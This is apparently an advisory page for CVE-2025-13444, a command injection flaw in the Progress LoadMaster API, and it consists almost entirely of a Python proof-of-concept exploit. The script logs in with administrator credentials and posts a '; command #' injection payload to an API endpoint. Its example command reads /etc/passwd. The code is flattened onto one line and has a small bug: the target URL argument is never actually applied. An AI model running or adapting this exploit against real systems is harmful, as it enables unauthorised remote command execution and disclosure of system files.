CVE-2025-13444: Progress LoadMaster API命令注入远程代码执行漏洞

# CVE-2025-13444 Progress LoadMaster API Command Injection PoC # Requirements: Valid credentials with User Administration privileges import requests import sys import json TARGET_URL = "https://target-loadmaster.com/api/v1" USERNAME = "admin" # User with User Administration privileges PASSWORD = "password" def authenticate(): """Authenticate to LoadMaster API""" login_url = f"{TARGET_URL}/accessmanagement/1.0/login" headers = {"Content-Type": "application/json"} data = {"username": USERNAME, "password": PASSWORD} try: response = requests.post(login_url, json=data, headers=headers, verify=False, timeout=30) if response.status_code == 200: return response.json().get("token") except Exception as e: print(f"[-] Authentication failed: {e}") return None def exploit_command_injection(token, command): """Send malicious payload to vulnerable API endpoint""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Vulnerable endpoint - API parameter without proper sanitization exploit_url = f"{TARGET_URL}/center/nobias/tftp/1.0/ConfigFile" # Payload: Command injection via unsanitized input payload = { "param": f"; {command} #" } try: response = requests.post(exploit_url, json=payload, headers=headers, verify=False, timeout=30) return response.text except Exception as e: return str(e) def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13444.py <target_url>") sys.exit(1) target = sys.argv[1] TARGET_URL = target print("[*] CVE-2025-13444 - Progress LoadMaster Command Injection RCE") print("[*] Authenticating to LoadMaster API...") token = authenticate() if not token: print("[-] Failed to authenticate") sys.exit(1) print("[+] Authentication successful!") print("[*] Sending command injection payload...") # Example: Read /etc/passwd result = exploit_command_injection(token, "cat /etc/passwd") print(f"[+] Command output:\n{result}") if __name__ == "__main__": main()